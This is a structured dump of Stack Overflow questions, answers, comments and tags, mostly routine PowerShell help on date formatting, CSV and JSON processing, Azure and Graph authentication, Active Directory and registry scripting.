has text: Fair point: We would like to get the wap names and wifi names with associated MAC output to a csv file somethign liek the following. WAP ESSID MACAddr WAP01 wifitrusted xx:xx:xx:xx:xx:xx WAP02 wifiguest xx:xx:xx:xx:xx:xx
score: 0

command-prompt
type: Tag
tags question: http://stackoverflow.com/q/79188988
tag name: command-prompt

http://stackoverflow.com/a/79124950
answers question: http://stackoverflow.com/q/79098114
type: Answer
score: 0
has body: I have tested in my pipeline referring to your PowerShell scripts. I can see the detailed error message in the pipeline log. For example, According to your update, "I had a permission to access self hosted agent which runs this pipeline and executed my script. It is producing same error as in pipeline (no details)", the issue is related to the specific agent. You can try to install and import the latest MicrosoftPowerBIMgmt on your affected agent and check what's the result. Install-Module -Name MicrosoftPowerBIMgmt -Scope CurrentUser -Force -AllowClobber Import-Module MicrosoftPowerBIMgmt The version of my PowerShell: 5.1.

http://stackoverflow.com/a/79114188
answers question: http://stackoverflow.com/q/79094880
has body: As hier said the problem is that Service is running as "local System account" and even it has the admin power but the windows credential does not allow it to access credential. for accessing credential, the user should be the same user as creator of credential. the easy way is to right click on service in "Windows Services" and say to run service as the user... but the correct way is to define a service Account for doing that job.
accepted answer of: http://stackoverflow.com/q/79094880
type: AcceptedAnswer
type: Answer
score: 0

http://stackoverflow.com/a/79216844
has comment: http://stackoverflow.com/comment/139689004
answers question: http://stackoverflow.com/q/79216817
has comment: http://stackoverflow.com/comment/139689025
has body: Easiest and more efficient way to do it is with Group-Object -AsHashtable to leverage a dictionary type for fast lookups. See about_Hash_Tables for more details. $usersCSV = Import-Csv 'users.csv' | Group-Object email -AsHashTable $watchersJSON = Get-Content -Path 'watchers.json' -Raw | ConvertFrom-Json foreach ($object in $watchersJSON) { $object.watchers = $usersCSV[$object.watchers].'User id' } ConvertTo-Json @($watchersJSON) | Out-File 'watchers-with-ID.json'
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79216817
has comment: http://stackoverflow.com/comment/139689176
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/139689170
score: 3
upvote count: 3

http://stackoverflow.com/a/79182691
has body: This isn't exactly easier but you can combine ProcessEx Module with a NamedPipeConnectionInfo, this allows you to pass-in parameters very easily even for complex objects, i.e.: $anObject = @{ A = @{ Complex = @{ Object = 'Hi' } } } $result = Invoke-AsCurrentUserEx { param($theObject) $theObject['A']['Complex']['Object'] } -ArgumentList $anObject $result.Success # `Hi` Your code would translate to this assuming you have installed the Module, first you can define a function that you can re-use later on (you can add this one in your $profile for example): function Invoke-AsCurrentUserEx { [CmdletBinding(DefaultParameterSetName = 'ArgList')] param( [Parameter(Mandatory, Position = 0)] [scriptblock] $ScriptBlock, [Parameter(ParameterSetName = 'ArgList')] [object[]] $ArgumentList, [Parameter(ParameterSetName = 'Params')] [hashtable] $Parameters, [ValidateSet('pwsh', 'powershell')] [string] $Shell = 'powershell' ) try { $id = (Get-Process -Id $pid).SessionId $explorer = Get-Process -Name explorer | Where-Object SessionId -EQ $id $si = New-StartupInfo -ParentProcess $explorer -WindowStyle Hide # start a de-elevated process # here you can use `pwsh` instead of `powershell` depending on what shell you wanna use $proc = Start-ProcessEx $Shell -StartupInfo $si -CreationFlags NewConsole -PassThru # create a new named pipe $pipe = [System.Management.Automation.Runspaces.NamedPipeConnectionInfo]::new($proc.Id) $rs = [runspacefactory]::CreateRunspace($pipe) $rs.Open() $ps = [powershell]::Create().AddScript($ScriptBlock) $ps.Runspace = $rs if ($ArgumentList) { $ArgumentList | ForEach-Object { $ps = $ps.AddArgument($_) } } if ($Parameters) { $ps = $ps.AddParameters($Parameters) } $stdout = $ps.Invoke() } catch { $ps.Streams.Error.Add($_) } finally { $ps.Streams.PSObject.Properties.Add([psnoteproperty]::new('Success', $stdout)) # dispose resources $rs.Dispose() $proc | Stop-Process } $ps.Streams } Then the usage is quite straight forward: Invoke-AsCurrentUserEx { param($Message, $Wait…
downvote count: 0
answers question: http://stackoverflow.com/q/79179722
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139627922

http://stackoverflow.com/comment/139605718
score: 0
comment on: http://stackoverflow.com/q/79140459
type: QuestionComment
type: Comment
has text: Not sure we understood each other. I can transform `Ok` into int and vice-versa, but what `Get-VM` gives me is the localized version `Fonctionnement Normal`, which is a litteral string which I can't convert since the enum types have non localized strings.

http://stackoverflow.com/comment/139621232
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79179274
score: 0
has text: Not all Admin are the same. There are multiple Admins and just because you are an Admin doesn't mean you have access to the file. I think you are access the file on the local machine, but the file could be linked to a file on another machine. Powershell is written in Net so if the issue exists in PS than it also exists in Net. Is fie on a Window Machine or Linux/Mac?

http://stackoverflow.com/comment/139665969
has text: @Darin: That said, retaining them would have required _custom_ parsing, because the standard argument parsing offered by (ultimately) the C runtime (and similarly the one offered by the WinAPI) indeed strips unescaped `"` while splitting the process command line into tokens. Also, if you pass all the code inside an enclosing `"..."` string (from outside PS) - which is more robust when calling from `cmd.exe` - the need for escaping _embedded_ `"` chars. is obvious: `powershell.exe -Command "Write-Output \"quoted argument\""`. Note that `\"`-escaping can still break in `cmd.exe` / batch files.
score: 1
comment on: http://stackoverflow.com/q/79198594
type: QuestionComment
type: Comment

dotnet-httpclient
tags question: http://stackoverflow.com/q/79079906
type: Tag
tag name: dotnet-httpclient
tags question: http://stackoverflow.com/q/79529743

http://stackoverflow.com/q/79227225
has comment: http://stackoverflow.com/comment/139709933
type: Question
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139708325
has comment: http://stackoverflow.com/comment/139717107
answer count: 1
accepted answer: http://stackoverflow.com/a/79227270
has title: Localization affecting the output of Powershell Get-Date command
has comment: http://stackoverflow.com/comment/139720169
has comment: http://stackoverflow.com/comment/139720376
has answer: http://stackoverflow.com/a/79227270
has comment: http://stackoverflow.com/comment/139708255
tagged with: locale
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139719706
has comment: http://stackoverflow.com/comment/139719914
has comment: http://stackoverflow.com/comment/139717877
has body: I am trying to call Powershell Get-Date command within the batch script. Here is my batch script: @echo off setlocal EnableDelayedExpansion set myFormat=dd/MM set locale_independent_get_date=powershell -NonInteractive -Command "Get-Date -Format %myFormat%" for /F "tokens=1,2 delims=/" %%i IN ('%locale_independent_get_date%') DO ( set dd=%%i set mm=%%j ) echo Day:[%dd%] echo Month:[%mm%] Because I explicitly specify the format with -Format switch, I was expecting to have the same output with every different locale settings. But I see that, this is not true. Above Powershell command is not working as I expected with some different settings. Isn't specifying the format explicitly with -Format enough to ensure locale independence? Clearly it is not, but I am wondering why. Also, Instead of -Format, I tried -UFormat switch. In this case, command is working as expected in problematic cases too. Here what I did : set myFormat=%%d/%%m set locale_independent_get_date=powershell -NonInteractive -Command "Get-Date -UFormat %myFormat%" But as we have many different possible settings, I cannot try all of them. So, How can I be certain that this command is locale-independent? Is there any documentation ? Or Do you know an easy way to test this code with all possible locale settings ? Thank you !
has comment: http://stackoverflow.com/comment/139708751
upvote count: 1
has comment: http://stackoverflow.com/comment/139717340
has comment: http://stackoverflow.com/comment/139720412
tagged with: batch-file
has comment: http://stackoverflow.com/comment/139720244
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139720437

export-to-csv
tag name: export-to-csv
type: Tag
tags question: http://stackoverflow.com/q/79186087
tags question: http://stackoverflow.com/q/79304087

http://stackoverflow.com/comment/139704531
type: AnswerComment
type: Comment
score: 0
has text: Which step are you not getting the expected data in? Is it "Fetch user entitlements from Azure DevOps" or somewhere else?
comment on: http://stackoverflow.com/a/79132466

http://stackoverflow.com/comment/139634303
comment on: http://stackoverflow.com/a/79183903
has text: Hi @AALV8, if you read my post carefully you'll see that I want a logon SID of S-1-5-5 and not a user SID of S-1-5-21. I need to confirm that *each time a user logs on*, their session is given a unique ID. I already know that each user has a unique ID.
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139429105
score: 2
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79074595
has text: `$regPath` is never set, possibly a typo? Also you don't seem to do actually anything in the #AppLocker section. On a side note: you can `Import-Certificate` without using `Set-Location` by using -`CertStoreLocation` parameter. You can set service startup using the `Set-Service` function. `Restart-Computer` is more idiomatic than `shutdown` in Powershell. All of this can be done better with Group Policy.

http://stackoverflow.com/comment/139664843
score: 1
comment on: http://stackoverflow.com/q/79202910
type: QuestionComment
type: Comment
has text: Where is the `LogEntry` function defined? The key to diagnosing (and later optimizing) your scripts wallclock performance starts by _measuring_ how long each step takes - if `LogEntry` records the current date/time then you can simply go back and review your log file to find out what's taking up the most time. Why is this important? Because if you're spending 90% of the time waiting for `Get-PnP*` calls to return then refactoring `Add-Member` -> `[PSCustomObject]@{...}` will make little to no difference :)

http://stackoverflow.com/a/79099524
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79097282
accepted answer of: http://stackoverflow.com/q/79097282
type: AcceptedAnswer
has body: To complement Theo's helpful answer with an eye toward performance: The only immediate problem with your code was the use of regex '^.', because the . metacharacter matches any character (except a newline, by default); therefore, using '^#' instead of '^.' fixes your problem by only matching files whose first character is # (and by not specifying a substitution operand to the -replace operator, the matched # is replaced with the empty string and therefore effectively removed). Therefore, applied to all *.txt files in D:\folder\myfolder: # Note: # * '^#' instead of '^.' # * -NoNewLine to prevent Set-Content from writing an extra newline. # * CAVEATS: # * UPDATES THE FILES IN-PLACE - to be safe, keep backup copies. # * The *character encoding may change*, because Set-Content applies # its default encoding, irrespective of the input encoding. # USE -Encoding AS NEEDED. Get-ChildItem 'D:\folder\myfolder\*.txt' | ForEach-Object { ($_ | Get-Content -Raw) -replace '^#' | Set-Content -NoNewLine -LiteralPath $_.FullName } Performance-wise, there are two problems with the above: Even though using -Raw with Get-Content is the most efficient way to read a file in full, as a single, multiline string (and analogously, so is writing the file content in full as a single string), you don't need to do that if all you want to do is to examine the first character. By using the results of the -replace operation unconditionally, you end up rewriting even the files that don't need it, i.e. those that do not start with # (if -replace cannot find a match, it passes the input string through). You can address these issues as follows, building on mclayton's suggestion to (initially) only read the first line of each file: # Same CAVEATS as above apply. Get-ChildItem 'D:\folder\myfolder\*.txt' | ForEach-Object { if (($_ | Get-Content -First 1) -match '^#') { ($_ | Get-Content -Raw).Substring(1) | Set-Content -NoNewLine -LiteralPath $_.FullName } } Note: This optimization only makes sense if you …
type: Answer
downvote count: 0

http://stackoverflow.com/a/79201850
answers question: http://stackoverflow.com/q/79201757
upvote count: 1
downvote count: 0
type: Answer
has body: You might be able to use XPath to get the nodes of interest, looks like the nodes you're looking for have a name ending with -number or -id in which case you could use the following: $xml = [xml]::new() $xml.Load('path\to\xmlfile.xml') $nodes = $xml.SelectNodes(&quot;//*[contains(name(), '-number') or contains(name(), '-id')]&quot;) $nodes | ForEach-Object { [pscustomobject]@{ NodeName = $_.Name AttributeName = $_.Attributes.Name AttributeValue = $_.Attributes.Value Value = $_.InnerText } } With the provided XML in question, the above will result in this array of objects: NodeName AttributeName AttributeValue Value -------- ------------- -------------- ----- application-number application-type **fdaat4** **123456** submission-id submission-type **fdast9** 0048 sequence-number submission-sub-type **fdasst4** **0053**
has comment: http://stackoverflow.com/comment/139674433
score: 1

http://stackoverflow.com/comment/139518902
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79122136
score: 0
has text: Do you yust want to maintain, the as long as its not in the tag, or do you want to make sure that each user patch comination is run without repetition?

azure-entra-id
tag name: azure-entra-id
tags question: http://stackoverflow.com/q/79091974
type: Tag
tags question: http://stackoverflow.com/q/79320969
tags question: http://stackoverflow.com/q/79479848

http://stackoverflow.com/comment/139718492
score: 0
comment on: http://stackoverflow.com/a/79227270
type: AnswerComment
type: Comment
has text: Issue is solved. I was trying to test with more and more different settings. No issue found. Thanks a lot for helping me Just to clarify, please confirm my understanding, the issue was originally related with using invalid delimiters. Using a valid delimiter fixed the issue. (I am currently ignoring different calendar types, only talking about Gregorian calendar.) @mklement0

remote-access
tags question: http://stackoverflow.com/q/79136988
type: Tag
tags question: http://stackoverflow.com/q/79109456
tag name: remote-access

http://stackoverflow.com/comment/139547855
has text: Please post a new question regarding that and share link here
type: Comment
comment on: http://stackoverflow.com/a/79136043
score: 0
type: AnswerComment

http://stackoverflow.com/q/79138856
has answer: http://stackoverflow.com/a/79139329
type: Question
tagged with: powershell
tagged with: python-3.10
has answer: http://stackoverflow.com/a/79148464
score: 0
type: UnansweredQuestion
has body: I'm trying to install fastchunking as a dependency for another program and I'm getting this string of errors when attempting to install: $&gt; python.exe -m pip install fastchunking Collecting fastchunking Downloading fastchunking-0.0.3.tar.gz (24 kB) Preparing metadata (setup.py) ... done Requirement already satisfied: pybindgen in c:\program files\python310\lib\site-packages (from fastchunking) (0.21.0) Building wheels for collected packages: fastchunking Building wheel for fastchunking (setup.py) ... error error: subprocess-exited-with-error × python setup.py bdist_wheel did not run successfully. │ exit code: 1 ╰─&gt; [25 lines of output] Generating file C:\Users\alexander.been.LC\AppData\Local\Temp\pip-install-gu2m0whc\fastchunking_45690b13b00046fcbf5b3e0d96787acf\build\rabinkarprh.cpp running bdist_wheel running build running build_py creating build\lib.win-amd64-cpython-310 creating build\lib.win-amd64-cpython-310\fastchunking copying fastchunking\benchmark.py -&gt; build\lib.win-amd64-cpython-310\fastchunking copying fastchunking\test.py -&gt; build\lib.win-amd64-cpython-310\fastchunking copying fastchunking\__init__.py -&gt; build\lib.win-amd64-cpython-310\fastchunking creating build\lib.win-amd64-cpython-310\lib copying lib\rabinkarpgen.py -&gt; build\lib.win-amd64-cpython-310\lib copying lib\rabinkarp_gen.py -&gt; build\lib.win-amd64-cpython-310\lib copying lib\__init__.py -&gt; build\lib.win-amd64-cpython-310\lib running build_ext building 'fastchunking._rabinkarprh' extension creating build\temp.win-amd64-cpython-310 creating build\temp.win-amd64-cpython-310\Release creating build\temp.win-amd64-cpython-310\Release\Users creating build\temp.win-amd64-cpython-310\Release\Users\alexander.been.LC creating build\temp.win-amd64-cpython-310\Release\Users\alexander.been.LC\AppData creating build\temp.win-amd64-cpython-310\Release\Users\alexander.been.LC\AppData\Local creating build\temp.win-amd64-cpython-310\Release\Users\alexander.been.LC\AppData\Local\Temp cr…
tagged with: python
answer count: 2
has title: ERROR: Could not create directory for python package installation
tagged with: windows

http://stackoverflow.com/q/79226751
has comment: http://stackoverflow.com/comment/139706452
has answer: http://stackoverflow.com/a/79226765
score: 1
upvote count: 1
has body: I am expecting below code to throw an error..since Get-Childitem does not have Lastaccessed try{ Get-ChildItem | Where-Object { -not $_.PsIsContainer -and $_.lastaccessed -lt $date} -ErrorAction stop Write-Host "hello:" } catch{ Write-Host $($_) } But to my surprise,it does not i did try to search,but cant find any satisfactory answers
favorite count: 0
accepted answer: http://stackoverflow.com/a/79226765
has title: How Powershell Handles an Invalid attribute
type: Question
answer count: 1
type: AnsweredQuestion
downvote count: 0
tagged with: powershell

python-3.10
tag name: python-3.10
tags question: http://stackoverflow.com/q/79138856
type: Tag

http://stackoverflow.com/comment/139713729
type: Comment
has text: What error you are getting when you are running above script in multiple subscriptions environment? In my case, I have only 1 subscription so I cannot reproduce it
score: 0
comment on: http://stackoverflow.com/a/79230278
type: AnswerComment

http://stackoverflow.com/comment/139467211
comment on: http://stackoverflow.com/q/79088290
type: QuestionComment
type: Comment
score: 0
has text: I'm trying to guess, what is the reason of the `#include "common.h"` that you don't post, and the `Spin(1);` statemente (which I suppose uses a macro defined in the include file. I'll try to run your case locally but I cannot ensure I get the results stated in the book. I'll explain in that case.

http://stackoverflow.com/comment/139547697
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79139412
type: Comment
has text: @skysthelimit91 glad it helped :) see the update reg. targeting a specific DC

outlook
tag name: outlook
type: Tag
tags question: http://stackoverflow.com/q/79085336
tags question: http://stackoverflow.com/q/79391387
tags question: http://stackoverflow.com/q/79380511
tags question: http://stackoverflow.com/q/79247939
tags question: http://stackoverflow.com/q/79269924
tags question: http://stackoverflow.com/q/79380052
tags question: http://stackoverflow.com/q/79292488
tags question: http://stackoverflow.com/q/79525278

azure-data-factory
tags question: http://stackoverflow.com/q/79091839
tags question: http://stackoverflow.com/q/79101472
type: Tag
tag name: azure-data-factory

google-drive-api
tags question: http://stackoverflow.com/q/79185963
type: Tag
tag name: google-drive-api
tags question: http://stackoverflow.com/q/79072082

http://stackoverflow.com/comment/139427636
type: Comment
comment on: http://stackoverflow.com/q/79069723
has text: Which is the problem? And which difference running it manually?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139477089
type: QuestionComment
type: Comment
has text: What's the problem?
score: 0
comment on: http://stackoverflow.com/q/79099875

http://stackoverflow.com/comment/139498830
type: Comment
comment on: http://stackoverflow.com/a/79101817
score: 0
has text: Glad to hear the answer helped, @Azkaad; my pleasure.
type: AnswerComment

http://stackoverflow.com/comment/139492891
comment on: http://stackoverflow.com/q/79109509
has text: The [documentation](https://learn.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps) implies this is a Windows only module.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139663741
has text: @Ranjan that depends on how you configured the pipeline. Just remember that jobs by default run in parallel but stages by default run sequentially. My sample pipeline works as expected, If you try it you'll be able to run jobs in parallel.
comment on: http://stackoverflow.com/a/79178363
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139443879
has text: Have you considered using [AWS Tools for PowerShell](https://aws.amazon.com/powershell/) instead of the AWS CLI?
comment on: http://stackoverflow.com/q/79081337
type: QuestionComment
type: Comment
score: 0

audio
tags question: http://stackoverflow.com/q/79183054
tag name: audio
type: Tag

http://stackoverflow.com/comment/139571641
type: AnswerComment
comment on: http://stackoverflow.com/a/79150671
type: Comment
score: 0
has text: While recommending in-process handling, which enables proper cleanup, is a good idea, note that your COM cleanup code by definition doesn't help here (it is never reached in the timeout scenario), and wouldn't be necessary at all if the PowerShell process terminated normally (though _in-session_ you may want to _speed up_ release of unmanaged resources). @Kaden: Have you tried `Test-NetConnection -Port 445 -InformationLevel Quiet ...`?

psreadline
type: Tag
tags question: http://stackoverflow.com/q/79169542
tag name: psreadline
tags question: http://stackoverflow.com/q/79311228

http://stackoverflow.com/q/79169542
tagged with: powershell
has answer: http://stackoverflow.com/a/79169600
has title: How to modify PowerShell selected MenuComplete text color only on the input line
has body: I'm aware here that one solution for this problem has been given. But the following code: $colors = @{ "Selection" = "$([char]0x1b)[38;2;0;0;0;48;2;178;255;102m" } Set-PSReadLineOption -Colors $colors Sets the color of the selected text to be the same in both the input line and the interactive menu. What I want is to differentiate the two like the following: How do I achieve that? (I'm using PowerShell 7.4.6)
type: UnansweredQuestion
score: 0
tagged with: colors
linked to: http://stackoverflow.com/q/44758698
type: Question
tagged with: psreadline
answer count: 1

get-request
type: Tag
tags question: http://stackoverflow.com/q/79162018
tag name: get-request

http://stackoverflow.com/comment/139726504
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79237732
has text: Seems like you're taking your code from c# examples like: https://learn.microsoft.com/en-us/dotnet/csharp/advanced-topics/interop/how-to-access-office-interop-objects#to-add-necessary-using-directives. Not the case in PowerShell, `$wordApp` will be a `__ComObject` instance and using directive for `Microsoft.Office.Interop.Word` is not needed nor you will be able to find that namespace
score: 1

memory-leaks
tags question: http://stackoverflow.com/q/79149164
tag name: memory-leaks
type: Tag

http://stackoverflow.com/comment/139707335
score: 0
has text: You can show respect for those who might help you be making the minimal effort to ensure your code samples are formatted properly, and not indented extra to the right.
comment on: http://stackoverflow.com/q/79227113
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139697342
score: 0
has text: I am only concerned about MSIs. I've observed that sometimes the MSI installer is missing and the uninstall prompts you to provide it. Sometimes the service is not stopped and removed after the uninstall. Or the MSI is completely not found and the app can't be removed.
type: QuestionComment
comment on: http://stackoverflow.com/q/79216317
type: Comment

http://stackoverflow.com/comment/139697330
type: QuestionComment
has text: @Olaf Why I'm calling him 4 times
comment on: http://stackoverflow.com/q/79219476
type: Comment
score: 0

http://stackoverflow.com/comment/139479756
score: 0
comment on: http://stackoverflow.com/q/79099681
type: QuestionComment
has text: It is for a member
type: Comment

http://stackoverflow.com/a/79230072
has comment: http://stackoverflow.com/comment/139718297
has comment: http://stackoverflow.com/comment/139718282
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139741173
has comment: http://stackoverflow.com/comment/139718126
has body: Basically, Get-AzAccessToken works independently of the active Azure PowerShell session and does not reuse the session token obtained via Connect-AzAccount. To be continued from the comments, both commands belong to the Az PowerShell family cmdlets which I already mentioned. Get-AzAccesstoken is an Az PowerShell module command that retrieves an access token for a specified resource here it is (MSGraph). It does not prefer to reuse the authenticated login session by Connect-AzAccount PowerShell session. Modified PS script has given below: $accessToken = (Get-AzAccessToken -ResourceTypeName MSGraph).Token $Secure_Token = ConvertTo-SecureString $accessToken -AsPlainText -Force Connect-MgGraph -AccessToken $Secure_Token -NoWelcome Complete PowerShell code: param ( [Parameter()] [string]$ServicePrincipalId, [Parameter()] [string]$AclGroupId ) $ErrorActionPreference = "Stop" Set-StrictMode -Version Latest $PSNativeCommandUseErrorActionPreference = $true Set-PSRepository PSGallery -InstallationPolicy Trusted Install-Module -Name Az.Accounts, Microsoft.Graph Connect-AzAccount -Identity $accessToken = (Get-AzAccessToken -ResourceTypeName MSGraph).Token $Secure_Token = ConvertTo-SecureString $accessToken -AsPlainText -Force Connect-MgGraph -AccessToken $Secure_Token -NoWelcome
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/79223169
has comment: http://stackoverflow.com/comment/139718109

substitution
tags question: http://stackoverflow.com/q/79201033
tag name: substitution
type: Tag

http://stackoverflow.com/comment/139484161
has text: Path error: `\\10.168.0.45\D$\D:\Dump\logs\files\EXAMPLE.ENG` should be `\\10.168.0.45\D$\Dump\logs\files\EXAMPLE.ENG`
score: 2
type: QuestionComment
comment on: http://stackoverflow.com/q/79104529
type: Comment

http://stackoverflow.com/comment/139621235
has text: They want the resolution of _every connected display_ (monitor), not just the _primary_ one. While the question did imply that, the wording was suboptimal, presumably because the OP isn't a native English speaker. I've now corrected that.
comment on: http://stackoverflow.com/a/79177773
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139479781
comment on: http://stackoverflow.com/q/79102062
type: QuestionComment
type: Comment
score: 0
has text: Could you include more details on your current requirement? What group policy you are referring to?

http://stackoverflow.com/q/79139393
favorite count: 0
tagged with: active-directory
type: Question
tagged with: scripting
upvote count: 2
downvote count: 0
tagged with: powershell
answer count: 1
score: 2
has body: Most computers get deleted without a problem. But some display an error message about leaf objects. I tried this: Get-ADComputer -Identity "ExamplePC" | Remove-ADComputer -Server "DomainController" -Confirm:$False Error received: Remove-ADComputer : The directory service can perform the requested operation only on a leaf object So after reading up on the issue, I try: Get-ADComputer "ExamplePC" | Remove-ADObject -Recursive and this gives me an error: Remove-ADObject : Access is denied FYI: I do have access to delete the computer. I'm a domain admin and if I open the Active Directory Admin Center, I can manually delete the computer without any issue. Also, most computers I run my script on don't give me any issues. Is there anything I can change or implement in my script to get past this? The "protect from accidental deletion" option is NOT enabled on the computer within AD either. I've seen this issue listed all over the place online with no resolution.
accepted answer: http://stackoverflow.com/a/79139412
has title: Can't figure out how to delete a specific computer from AD using power shell. Can't find any solution anywhere
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79139412

http://stackoverflow.com/comment/139627922
type: AnswerComment
comment on: http://stackoverflow.com/a/79182691
type: Comment
score: 1
has text: @mklement0 excellent module, like all Jordan's modules

http://stackoverflow.com/comment/139527339
type: AnswerComment
has text: @Ryane can you confirm that if you use your own minimal reproducible code as posted above against the sample "before replace" bat file posted above you still get the wrong output? Have you tested your MRE?
comment on: http://stackoverflow.com/a/79126797
type: Comment
score: 1

http://stackoverflow.com/comment/139517332
score: 0
comment on: http://stackoverflow.com/q/79119400
type: QuestionComment
has text: I am including Convert-Filename on the post so you can see.
type: Comment

http://stackoverflow.com/comment/139712310
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79229639
has text: In any case, to configure networking use the correct Powershell command, [Set-SqlNetworkConfiguration](https://learn.microsoft.com/en-us/powershell/module/sqlserver/set-sqlnetworkconfiguration?view=sqlserver-ps). The [Enable the TCP protocol](https://learn.microsoft.com/en-us/powershell/sql-server/how-to-enable-tcp-sqlps?view=sqlserver-ps) page shows how to enable TCP using WMI. Notice that both the instance and protocol are specified by name, not index: `tcp = wmi.ServerInstances['MSSQLSERVER'].ServerProtocols['Tcp']`. That's what you need to do in C# as well. Those scripts use SMO too
score: 0

http://stackoverflow.com/comment/139619138
score: 0
has text: Does it make a difference with `$socket.EnableBroadcast = $true`?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79178285

http://stackoverflow.com/comment/139566964
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79149903
has text: How about using an enum type for the key of a generic dictionary? The syntax for member access is a bit more cumbersome though. E. g. `enum E { a; b; c }; $dict = [Collections.Generic.Dictionary[E,string]]::new(); $dict.[E]::a = 'x'; $dict['b'] = 'y'`

http://stackoverflow.com/comment/139616316
score: 0
comment on: http://stackoverflow.com/q/79176549
has text: I have gone through the link but didn't get complete idea that how it is useful in my case , will you please tell that where and what exactly I need to change to get my Yaml working @RanadipDutta
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139521182
has text: What the different between them $tag.Contains("PI 18") $tag -Contains "PI 18"
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79122136
score: 0

http://stackoverflow.com/comment/139609571
comment on: http://stackoverflow.com/q/79140459
type: QuestionComment
has text: Try following : enum VMOperationalStatus { Ok = 2 }; $results = [VMOperationalStatus][System.Enum]::Parse([VMOperationalStatus],"Ok"); [int]$results
type: Comment
score: 0

http://stackoverflow.com/comment/139637778
type: QuestionComment
has text: `net.exe` returns a array of strings, each element a different line. You will need to parse it to keep the lines and elements you want to keep
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79188413

http://stackoverflow.com/comment/139542421
has text: Try running As Admin. Right click PS shortcut and select Run As Admin. The start your cmdlet.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79136266

http://stackoverflow.com/a/79186793
has body: Your primary problem is that you're mistakenly using a verbatim, single-quoted string ('...'): You need to use an expandable (interpolating), double-quoted string ("...") if you want variable references such as $cwd embedded in it to be expanded (interpolated). In order to embed " characters inside "...", you must escape them, either as `", as shown below, or as "". The PowerShell CLI doesn't have an -ArgumentList parameter; instead, specify the pass-through arguments directly after the script-file argument (*.ps1) passed to -File. Therefore: "powershell.exe -noexit -File `"$cwd\main2.ps1`" -Path `"$cwd`"" In the context of your script, using the here-string variant of an expandable string, in which case embedded " characters do not need escaping: # ... $cwd = $PSScriptRoot Set-ItemProperty $homepath (New-Guid) @" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -File "$cwd\main2.ps1" -Path "$cwd" "@ # ...
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79186769
type: Answer
score: 1
answers question: http://stackoverflow.com/q/79186769
upvote count: 1

http://stackoverflow.com/comment/139470272
score: 0
comment on: http://stackoverflow.com/q/79091983
has text: `New-MgGroup -DisplayName $groupfullname -MailNickName $groupfullname -MailEnabled -SecurityEnabled -IsAssignableToRole` ,note the difference between boolean parameters and switch parameters.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79167760
type: Answer
accepted answer of: http://stackoverflow.com/q/79166949
score: 1
upvote count: 1
has body: Your posted XML does not have the posted error — it is well-formed — but here are some general reasons and remedies for an XML illegal character error: The "XML" file has an illegal character: See XML Recommendation for the allowed characters in XML : [2] Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | [#x10000-#x10FFFF] Examine the file in a dedicated XML editor or a hex editor such as ImHex or an XML or hex mode of a general purpose editor. Remove the illegal character. Fix the upstream source that produced the bad XML if possible. The intended XML file is not making its way to the XML application: You've mistakenly specified a non-XML file or a different "XML" file that has an illegal character in it. You've used the wrong MIME type. (Use application/xml.) You've not uncompressed a compressed XML file first. You've used a relative path from the wrong current directory. You've specified the XML file in the wrong argument position on a command line or in a function call. You've received an "XML" file from an upstream source that has a bug that resulted in the generation of not-well-formed "XML". Your declared encoding does not match the reality of your file's bytes. (Although this usually would result in different sorts of errors or output.) See also XML validation error: Char 0x0 out of allowed range What characters do I need to escape in XML documents? How to parse invalid (bad / not well-formed) XML?
has comment: http://stackoverflow.com/comment/139643955
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79166949

http://stackoverflow.com/comment/139699223
score: 0
comment on: http://stackoverflow.com/a/79132466
type: AnswerComment
type: Comment
has text: my main script uses $top and 4.1-preview.1 version, which should work together , but still I do not get the expected output

http://stackoverflow.com/comment/139516083
type: QuestionComment
type: Comment
has text: It’s very clear. The tag here is not the issue, you can search a number in a patch like 1, the logic should be if you find something you like in the patch the next patch should work with the second user and if not so with the current user
comment on: http://stackoverflow.com/q/79122136
score: 0

http://stackoverflow.com/q/79088713
type: Question
answer count: 0
has title: Microsoft Graph API to get real time perf metrics (CPU, RAM, Disk) of Windows 365 (Cloud PCs)
tagged with: microsoft-graph-api
